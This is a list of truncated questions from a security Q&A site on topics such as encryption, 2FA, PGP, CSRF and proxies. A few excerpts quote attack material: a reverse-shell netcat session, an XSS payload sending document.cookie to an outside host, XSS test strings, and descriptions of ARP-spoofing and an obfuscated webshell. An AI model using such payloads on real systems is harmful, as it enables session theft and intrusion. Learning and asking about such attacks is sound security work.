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I'm using php, but the general question applies to any confirmed cryptographically secure pseudo-random string concatenated with a non-cryptographically secure string.
I know random_bytes generates a cryptographically secure string
I know converting with bin2hex results in a usable cryptographically secure string
But w... |
I have written lots of client-side code but with no server-side experience, and I am planning to get a VPS for a new project. The VPS will receive encrypted data directly from a distributed program wrote by me, and I won't bind the VPS with a domain name, and the VPS won't run everything else, like http and ftp.
Howeve... |
This post seems on point but I didn't understand the answer enough to answer this question.
Intel's vPro offers "Total Memory Encryption" (TME), which encrypts RAM and system bus data while the computer is on. Does TME encryption improve the security of a computer when its screen is locked? That is, if the computer has... |
I'm developing a platform that has 2 parts:
An API written using Laravel, that integrates with the database and provided data in a restful state.
Multiple fronts that connect to the API and perform different tasks.
Laravel suggests that you should use their built-in cookie-based sessions to implement your app, but fo... |
I recently noticed a huge amount of downloads made through my IP (iknowwhatyoudownload.com). On the website abuseipdb.com, I discovered some reports of abusive behavior.
So I started an investigation with other users of my ISP and found out that everyone has the same problem. I found everyone's IP on public proxy serve... |
Adam always reads his e-mails on Sundays around 5 pm. This Saturday,
at 11 am, he accessed his inbox. Which will generate a false positive?
Source slide 10/41
Misuse-based IDS or anomaly-based IDS? IMO the answer should be anomaly-based IDS as it gives alerts on anomalies. Whereas misuse-based or signature-based IDS ... |
A file transfer tool, that works through a middle man server, as the following diagram:
Client A uploads a file to the server, Client B has websocket events that a file is transferring and starts downloading available chunks of the given file.
I would like to encrypt the files without letting the server ever know the ... |
I don't seem to find the option to save symmetric keys. What I want to do is that I simply want to encrypt a file and transfer the file and the symmetric key (which is encrypted with the recipients public key). But so far I have not found any way to actually access the key file for symmetric keys. Do you know how I can... |
My reverse shell is exiting when i lsten it with netcat: here is netcat output:
listening on [any] 5555 ...
connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ ... |
Can my ISP see the difference between sending messages, making video call, and simply engaging with communities - building on traffic types?
|
Consider a scenario in which you offer service access based on a hierarchy of authority. i.e., a HEAD can register his subordinates. The authenticated HEAD has the previledge to read and update data from all of his subordinates. Is there an authorization standard or pattern that relates to this scenario?
Different role... |
In all my Googling, I found one version of FireFox that allowed it temporarily a long time ago, it has been discussed on the Chromium development forums for years, but yet, as of today, there is still no way for an end user to view and/or manipulate SSL information via an extension, add-on, or browser plugin.
Why?
Are ... |
I recently was dumbfounded by a question whether identity theft protection services can get hacked. Me and my family we're T-Mobile customers in the US and after the recent T-Mobile hack we got free Identity Theft Protection from McAfee for two years.
Now I was setting this up for my family and when I was entering all... |
I need to execute AVB (Android verified boot) during first boot after updating Android OS. BOARD_AVB_ENABLE = true is already present in the mk file device/hikey/common/BoardConfigCommon.mk in the external/AVB folder.
I want to know how to check if it is detected normally or not.
|
When running PINENTRY_USER_DATA="foo" gpg --change-pin in bash, how easy is it for other processes to capture “foo”?
|
On my Windows 10 machine, I run mitmproxy on localhost:8080. I've changed the system proxy setting to point to my local proxy server.
Apart from what I expect to see, I can also see the following HEAD requests:
Typically, the headers look like this:
It looks the same for every request, just the Host header changes.
W... |
The scenario
An app on iOS has to perform an HTTPS connection, validating the server's TLS certificate against a root CA of a custom PKI.
The target
Android seems to have best-practice procedures to handle this: one can ship the CA certificates with the app, and even configure pinning declaratively.
The questions
I hav... |
Suppose I was able to bypass CSRF check. I was able to forge any GET request and make it look like it was issued by the user himself. Is the web application vulnerable to somehow to 'Client-side' Request Forgery attack ? How may I exploit that ? knowing that I could not find any GET changing state request. Any idea pl... |
I need to encrypt personal data like email, phone number, etc. I am using AWS KMS for managing the encryption keys. This is the system that is already implemented is as follows:
All the existing data is encrypted using a worker which first generates a data key by calling the aws-sdk. This call returns the plaintext(de... |
I've seen quite a few security centric sites enforce this policy:
Your username can only be changed once
My question is: Is this done from a security standpoint? If yes, what is the logic behind it? My initial impression is that once you sign up your original username (and any other username you choose in the future)... |
Recently I was thinking of the feasibility of hardware backdoors in the CPU introduced by manufacturers at the behest of three letter agencies. I can think of two potential backdoors that seem extremely powerful, but want to see if they would be practical.
The first backdoor would be a god-mode privilege execution back... |
From my reading I understand that USB keys (for example Yubikeys) are more secure than OTP authentication apps (such as Google Authenticator). The primary reason is that FIDO is done without human interaction so it's not susceptible to social engineering or phishing attacks. Also, it connects with the service provider ... |
For several years, I have been setting up VMs with 2-3 year old versions of Windows as well as some additional applications to demonstrate two-stage exploits using Metasploit for educational purposes (more precisely Bachelor-level IT security courses).
This year, I set up a Windows VM from an x86 1803 ISO, installed Fi... |
Consider the following DNS setup of example.com:
A 89.41.169.49 # this is for redirect.pizza
CAA 0 issue "letsencrypt.org"
www CNAME ghs.googlehosted.com
If I have understood correctly everything I read (in particular, https://serverfault.com/q/885952/), the CAA for www.exam... |
I'm trying to configure a
SecAction rule to help me tune ModSecurity 3 following this How to tune your WAF installation to reduce false positives tutorial, but the rule seems to be ignored and the msg is not printed either on access.log or error.log.
SecAction \
"id:980145,\
phase:5,\
pass,\
t:none,\
... |
For an individual, I see a some options for storing private keys, such as printing them on paper in a vault, using a hardware wallet,
encrypting and storing on the machine, using AWS Secret Manager, and so on.
However, I have a need to create a few accounts for a firm (maybe using metamask),
and I'm not quite sure what... |
I need to provide security requirements for public API keys that will be generated by a web application and then used in automation scripts by clients.
The scripts will be run on the endpoints several times a day via a cronjob.
The risk of a key exposure is very high since whoever steals these scripts, will be able to ... |
When users are entering a new passphrase somewhere, it's helpful to provide feedback on the number of characters received by the system.
In a user experience (UX) test I just ran, my user created a passphrase in her password manager, and then attempted to paste it into the new passphrase prompt in the terminal. But b... |
They say a chain is only as secure as its weakest link. When it comes to account security it seems to me that the Forgot My Password functionality is the weakest link in the security chain because it only requires an attacker to gain access to a users email account to compromise his online account. It circumvents every... |
Windows Subsystem for Linux (version 2) is getting more and more traction lately with new features being added such as GUI mode over Wayland (WSLg). It seems to me Microsoft really pushes for WSL usage, however, I am worried about the underlying security.
I have read several articles which put me into panic mode.
Runni... |
We use JWT tokens in our Rest API(Bank API) authentication with a normal payload like:
{
"user_id": "cdda338f-50e2-4e14-9f84-33b8a158db9f",
"tenant_id": "cdda338f-50e2-4e14-9f84-33b8a158db9e",
// other jwt claims
}
However the security team thinks this is insecure and that we should replace the field names with ... |
Is it possible to mask my IMEI on my device? I know the government is used to track the phones via IMEI. I am interested in just blocking carriers/providers to view my IMEI when I am having an issue with the phones or an employee views my account. Is this possible?
|
I can't seem to find any record of SPF or DMARC in the original messages coming from gmail to my mail server.
Does gmail use SPF or DMARC when sending messages outside of gmail?
|
tl;dr: In certificate based SSH authorization, is there any benefit to keeping host certificates lifespan short? Do you gain anything by renewing them periodically?
Full Story
Recently I have been exploring SSH access through certificates, as opposed to the traditional means of access through public key authentication.... |
We are using a PIV smartcard that has biometric information (fingerprint) of the user encoded on the card to login into our application. We have the capability to read the fingerprint from a reader and extract and build the minutiae data from it for the on-card comparison.
During the encoding of the card, all the 10 fi... |
On a penetration test, I have completely compromised a Linux machine and I am now trying to move around the network. The Linux machine has a mounted CIFS share, and I want to get the password used to connect to that share, because I think that password might be used elsewhere. My question is, where is the password or p... |
I recently came across a source code where they save a user's refresh token and the access token upon sign in through Google into the database. This is done to access the Google APIs later on through the server.
My question is, isn't this insecure? This is like storing the passwords plaintext in the database. If the da... |
Why are people so quick to criticize Plaid for using login info when trusted apps like Mint do the same thing? They require username and password for bank info, but seem to be trusted. I wanted to use Plaid to build my own fintech app but was concerned about the raised privacy concerns so want to better understand why ... |
I stumbled upon some strange entries in our PHP sessions, they look like this:
PHPREDIS_SESSION:${9923XXXXX+99XXXXXX} (<- I have changed some digits to 'X')
PHPREDIS_SESSION:http://hitbXXXXXXXXXXX.bxss.me/ (<- I have changed some letters to 'X')
Presumably, someone is trying something.
How do these entries get injected... |
Could someone get the real IP address that is hidden behind the URL generated by tools like ngrok, localtunnel or serveo?
|
I am trying to achieve better security in my authentication system implementation with both server-side hashing and client-side hashing. (See the first reference below for more prerequisite knowledge.)
As I understand it:
Client-side hashing prevents hackers from getting a user's plaintext password and using it for ot... |
I'm undergoing postgrad studying and will be asked to do an online exam monitored by ProctorU. I didn't worry much about it before signing up but now that I read the detailed instructions about how the plugins work during the exam it looks deeply concerning to me.
To me ProctorU just looks like legit spyware the Univer... |
Standard Password
When I create an account somewhere, like let's say a crypto exchange, I'm forced to choose a username and a strong password. Let's say I choose:
username: thirdratecoder
password: someLongPasswordWithMixedCaseAndTheNumber555_*&
Now, that's a pretty obscure password and no one would likely guess it. I... |
I want to buy a smart card to store a gpg private key (I have never used any before).
However all options seem quite expensive. If you look for ISO 7816 in AliExpress there are much more affordable options. Same thing for Java cards.
Can I use this for gnupg? Is this relatively easy to do? I don't see anyone doing this... |
Open redirects showed up in the news this week thanks to Microsoft. While this is very old issue, this is a new topic for me. The concern seems to be that a user hovering over a link may not read beyond the domain name. In the following example, the user reads as far as example.com, and assumes the domain is safe, w... |
Problem: Someone has acquired a copy of Company X's application and is reverse engineering it on his network using a debugger. How can Company X possibly detect this activity?
Further Questions:
Is there a way we can be notified when someone tries to disassemble the application?
Is there a way to lock disassembling al... |
I was reading this response on SE about 2FA:
Well, I hate to break this to you, but Google Authenticator plus
password isn't really two-factor authentication. Proper 2FA is two
separate items out of traditionally the triad "something you have"
(physical item, which may itself hold a secret), "something you know"
(secr... |
What does it mean when an obvious scam e-mail, possibly "mere" phishing, includes in (whatever we call its signing-off small-print) what looks like a pointless list of dozens, perhaps hundreds of random words that are not, for instance, tags, as below?
Here, the yellow part seems both to make sense, and to have nothing... |
I've read several times that many HSMs support configurable rate limiting on cryptographic operations, as a way of protecting against a hacker that compromises a server that has access to the HSM. So if a hacker compromised a server and then attempted to send one million requests to the HSM over the course of an hour (... |
I'm trying to do an XSS attack test on a website.
I am using " and <> just fine and I have managed to escape the string. Now I'm trying to send my own cookie to my server that saves it to a txt file.
I inject this code to send the cookie:
<script>document.location='http://khodrochi.unaux.com/khodrochi.php?x='+document.... |
There is a lot of literature out there about this, and I've read many of it, but one question I couldn't rectify is this. Consider this quote from netsparker.com:
Reflected unkeyed headers:
If the application directly reflects the value of a certain unkeyed header in the response, it opens an easy avenue to cache pois... |
I have found myself with the need to block online conversion tools for pdf files and such, but I can't think of a nice catch-all (or even catch most) solution (without blocking all file uploads in browsers). Does anybody have any ideas on how to block such sites company-wide without disabling all file uploads?
At first... |
Supposing a user of my system has set their password to Password123
At the login screen, what would be the security implications of me accepting:
Password123 or
Password1234 or
Password123ABC
Based on the fact they all start with the password the user set?
To be clearer on the question, is this somehow less secure? How... |
I read PCI DSS, and it's not very clear in which contexts you can have the PAN in cleartext. One could think in no context, but that is impossible. You need it in clear text of course to print it physically in the card. They say "only personal with legitimate business need can see the full PAN". They say "see", but the... |
If I set up 2FA on my Microsoft account (for example) and I create multiple methods such as SMS, email, and an authenticator app, will I be more vulnerable than if I only set up the authenticator app?
I was wondering this because if my email gets hacked then the hacker could just use my email (if they already have my p... |
Firefox has a built-in toggle in settings to enforce HTTPS-Only mode. When enabled, the browser attempts to redirect to HTTPS every time and, if fails, blocks access to the website in the same way that it blocks access when, e.g., the SSL certificate is invalid etc. The mode ensures that only secure connections come th... |
I have an interesting application for secure testing.
The POST endpoint is accepting only content-type application/json, any other content results in an 500 error. The application lacks a CSRF token or other techniques against CSRF.
The 'trick' with text/plain and additional equal sign didn't work, still 500.
The Acces... |
While helping my family with their computer problems, I found a malicious executable signed by a valid EV certificate. The executable is flagged as malicious by a majority of engines on VirusTotal, and I have also run it in a sandboxed environment and witnessed some questionable behavior.
Now, I can't say I'm very fami... |
I am currently reading literature that states that Bogons are commonly used by attackers when conducting DDos attacks. I did some searching for an explanation and all I could find was that "Bogons make it difficult to trace back to the attackers IP"
My question is, if an attacker is free to choose an IP to spoof, why n... |
I recently turned on the multi-factor authentication on NordVPN and I use Authy for the authenticator. After scanning the QR code on the website, I found that the icon displayed in the Authy app was of "Best Auto Sales, LLC" instead of NordVPN (the mountain one).
The authentication was working properly. I typed an inco... |
I'm learning to use nmap on my kali linux and was testing out the various types of scans available in it.
-sn is for ping scan which basically prevents nmap from scanning all the ports (and probably scans one port).
Then scrolling down the nmap help I found another option -PE which is the ICMP scan. I studied a bit on ... |
When I enter my domain admin user credentials into the RDP Window, does the Client also save my password hash?
Example:
Windows 10 Client -> Remote Desktop -> Enter Domain Admin User and Password -> Connect to Domain Controller or other Critical Service Host.
Is the password hash being saved on my Windows 10 Client?
|
I'm confused about Socks5. Some pages claim that Socks5 is protected between you and the server, but not encrypted.
How can that be safe?
..and some pages say you need an SSH tunnel for Socks5.
Another page said Socks5 is just plain text?
What's right?
|
Why isn't there a defined protocol to retrieve PGP keys from a destination mail server? Or am I just not searching with the right parameters?
I imagine a quite simple process like other established processes (AutoDiscovery, etc.):
Sender enters recipients e-mail into the mail client (thunderbird/outlook/whatever)
Mail... |
What items should be considered to create a browser that prevents all access to stored credentials by a malicious process? Hardware attacks being out of scope.
Are there public projects addressing this?
In an attempt to answer this myself, I've looked around a little bit. At the time of writing, and to my understanding... |
I am a member of a library which has access to online databases that I use for work. The databases can only be accessed when you are on library's WIFI network. If I try to use the same databases from another location or when I am not using that particular WIFI network, I do not have access.
The problem is, that during ... |
Backstory:
I just upgraded my MacBook from OS X 10.11.6 to the most updated version of macOS, 10.14.6 Mojave. I also have the Little Snitch network filter installed. I know nearly nothing about information security, so when I see my computer connecting to a website in another country for reasons I can't determine, I ge... |
My PGP primary key is only used for certification—I use a separate subkey for signing. Like this:
sec rsa4096/0x891781D0EDC66456 ... |
I'm setting up a website on a Centos7 VPS with certbot and let's encrypt.
I am no expert on network security. I checked to see if my epel-release was pulling certbot from a legit mirror.
I ran yum search epel-release three times back-to-back and got 2 different answers: one epel-release mirror pointing to cloudfront.n... |
Opening a PDF link in the browser (e.g. google chrome with the ootb PDF viewer plugin) apparently indicates that when the PDF is hosted on a cloudflare-facing domain there is additional data present in the embed code.
Inspecting the page source of a displayed PDF file with chrome dev tools shows some 'reporting' URL wh... |
I have a set of text data, that are of high importance and I want to encrypt them. Be it to keep it on a cloud for redundancy, or for an extra layer of security in my local machines.
I understand AES256 is maybe the way to go.
My plan is to do the following and I would like to see your views and potential alternatives.... |
I have been working for a 100% virtual company for over a year, using my personal computer and I am fine with that. We were bought and now the parent company wants to add monitoring software to our personal computers. The challenge is preventing my employer from having access to non-employment related information. Anot... |
Let's say we have an employee that has an account on an online system that she does her work on. Let's say she doesn't want to do the work. So she provides her login credentials to someone else. 2FA authentication in this case is useless because she will willingly provide the 2FA code to the other person.
I can think... |
I started watching this ridiculous video before I had to quit it: https://www.youtube.com/watch?v=AaZ_RSt0KP8
It talks about how the election of some country got messed up due to a "bitflip", which gave one person 4096 votes due to "cosmic rays" messing with the computer, "changing one bit".
What?
Surely, a government ... |
My company uses multiple tools for vulnerability scanning. We have Nessus Pro for network scanning, White Source Bolt and GitHub Dependabot for dependencies, and SonarQube for source code, and Burp Suite Pro for web applications.
These make us very complicated when clients or my executives or internal auditors ask us t... |
I wrote a small shell function to generate random passwords. Such a password may look like the below.
D2fdAbE5e9bcAFDBE5bEeED3b795ecf44B35e99B6D28591429fEE6B7C0BcCed1
I started to wonder if this is actually secure enough. Are there potentially better alternatives?
|
I would like to perform arp spoofing on an existing tcp connection between a server and a client and perform a mitm attack. In addition to altering existing packets, I would like to be able to inject my own packets into the connection without disturbing the legitimate flow of packets. As I understand, this would requir... |
UFDs with a Phison 2251 controller are famous for being potential BadUSB devices. It's basically a (8051) microprocessor running application-specific firmware, which is stored on the big flash memory chip next to the controller.
Are there also any USB flash controllers in the wild which are ASICs without (externally s... |
I have to deal with a place that has some terrible security practices. For example, this place gives people passwords (eg. domain logon on Windows, but paired with their name as the username) that is also used for identification purposes (eg. as a PIN that works to identify them to give access to places, but it can als... |
NOTE: This was originally asked on the main StackOverflow site, but now moved here because of the security nature of the question.
Since internet-connected Infotainment Systems are now connected with other components of a car... Is it possible to secure the safety-critical systems like the brakes after security update... |
Hi，I do not work in IT security and hence am asking some general questions here.
I read https://security.stackexchange.com/a/172821/266785 and have questions that would appreciate answers.
Is my understanding below correct?
So if the password also works without internet, like iPhone lock-screen passcode, it will not b... |
I' m building a REST API with Django and Django Rest Framework. I allow users to upload images and videos using different subclasses of ModelSerializer. When a file is received, the server saves it to a temporary file on the disk (with Django TemporaryFileUploadHandler and only after the default validation) to perform ... |
I saw many posts here saying that Tor over VPN is different from VPN over Tor, and one is better than other, but I was unable to find any explanation over it. There were some speculations that you should not reroute all your data through Tor as the last node will be able to read decrypted data. So using an "encrypted V... |
With Thunderbird 78, a new PGP subsystem has been introduced which handles PGP keys internally. In previous versions, the add-on Enigmail has handled PGP-related stuff, by letting do GnuPG the work behind the scenes.
I currently know only that the private PGP keys in Thunderbird 78 and later versions are protected by t... |
Is it possible to issue an SSL certificate that limits the certificate holder to issuing https redirects? Or more generally, limiting the holder to issuing specified data through the secure pipe, once it has been established?
I would like to let edge nodes issue https redirects. It is impracticable to lock down the e... |
I'm reviewing CVSS 3.1 specification, recently.
I encounter the example below:
Sophos Login Screen Bypass Vulnerability (CVE-2014-2005)
Sophos Disk Encryption (SDE) 5.x in Sophos Enterprise Console (SEC)
5.x before 5.2.2 does not enforce intended authentication requirements for a resume action from sleep mode, which a... |
I guess I have halfway grasped the concepts of PGP, and I've halfway understood the concept of the Efail attack. However, I still don't understand whether such attacks would be possible (and an MDC would be needed) even if all messages had a signature. I have read several dozens of articles about Efail and MDC, but non... |
Is there any known legitimate reason that notepad.exe would make network connections to a domain controller? I observed this behavior. The first connection was to port 135 and the second was to one of the Microsoft RPC dynamic ports. In addition I also observed an SNMP request (port 161 udp) to some random device where... |
I have the Angular application where CSRF protection is implemented using Cookie-to-header token. It is default AngularJS mechanism to counter CSRF, which uses cookie XSRF-TOKEN and header X-XSRF-TOKEN. Only JavaScript that runs on my domain can read token from cookie and send it inside header, so it is the header that... |
Why don’t git servers (gitlab, github, etc…) allow for a whitelist of public GPG keys allowed to sign commits? For example, Alice owns a GPG key with fingerprint 0A1B2C3D while Bob’s is 4E5F0A0B.
They work together and they pass their key’s fingerprint to the git server admin and those fingerprints are added to the ser... |
My intuition is failing me with this. Would it make it easier or harder for an attacker trying to gain access to any of the accounts in a database?
I can see that in the case of a single login string, you're comparing it to all of the users in the database, as opposed to a particular one, so there's a greater chance yo... |
I am currently working on an implementation reading data from a csv file from within a WordPress plugin. It was suggested the file be added within the plugin in an assets directory. I have concerns in doing this. In particular, I'm worried about security and whether this makes the site vulnerable to attacks.
That being... |
I was looking for an overview that summarizes the main methods for lateral movement of ransomware. To be clear, I am not looking for the main infection vectors but rather for the main services/ports or applications ransomware exploits to spread laterally once it is inside the network.
I was unsuccessful, though, given ... |
Somebody hacked my webserver and uploaded many of the following files with random names in different subdirectories of my webroot. The file looks something like this and - even though I managed to beautify it - I am unable to decipher the obfuscation.
I can see that potential code injection is happening using the $_POS... |
Fawkes was used to cloak the PNG images and the images were then converted from PNG to WebP format using Google's official cwebp.exe. Is the cloaking still effective to prevent facial recognition on the converted images?
The usage for the cloaking software is to make pictures of humans unidentifiable to malicious bots ... |
I have a XSS case that I would like to exploit as a proof of concept, however the payload seems to only be triggering when pasted in and not from the URL.
Basically, I have a search box which when pasting in the following XSS payloads triggers an alert.
<img src=x onerror=alert(1)>
<noscript><p title="</noscript><img ... |
From time to time, my router starts to scan ports on all the connected devices. I have an internal RPi server which I restricted its access to the internet from the router. I checked the "/var/log/auth.log" on the RPi and many ssh attempts were made (192.168.1.254 is my router's IP):
Sep 8 08:58:54 homebridge sshd[381... |
I have an old system that can do PBKDF2 with HMAC using MD5, but not SHA-2. Now I know that MD5 is insecure and shouldn't be used for new applications, but https://crypto.stackexchange.com/a/9340/7075 seems to indicate that HMAC-MD5 is still secure. If I use a strong password, and PBKDF2 with a reasonable number of it... |
I was studying the following page listing all the vulnerabilities of ubuntu. CVE Ubuntu
What I found surprising is that all vulnerabilities report that "gained access level: None". Does that mean that there does not exist any known vulnerability which lets an attacker access your data? Does this presume that the data i... |
In mixed Windows/Linux environments what's the best practice for issuing server certificates?
If you use Windows MSCA PKI, you're kind of stuck with using previous certificates to authenticate the renewals on non-domain machines using NDES/SCEP which is an older windows protocol. If you go the route of Linux PKI then y... |
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